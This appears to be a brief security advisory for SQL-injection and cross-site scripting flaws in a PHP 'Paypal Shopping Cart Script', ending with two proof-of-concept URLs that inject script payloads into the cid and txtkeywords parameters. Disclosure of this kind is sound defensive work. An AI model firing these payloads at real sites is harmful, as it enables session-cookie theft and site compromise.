source: https://www.securityfocus.com/bid/43471/info

Paypal Shopping Cart Script is prone to an SQL-injection vulnerability and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/paypalshopping/index.php?cid="><script>alert(document.cookie);</script>

http://www.example.com/paypalshopping/index.php?txtkeywords=%3CSCRIPT%3Ealert(String.fromCharCode(88%2C83%2C83))%3C%2FSCRIPT%3E&cmdSearch=Search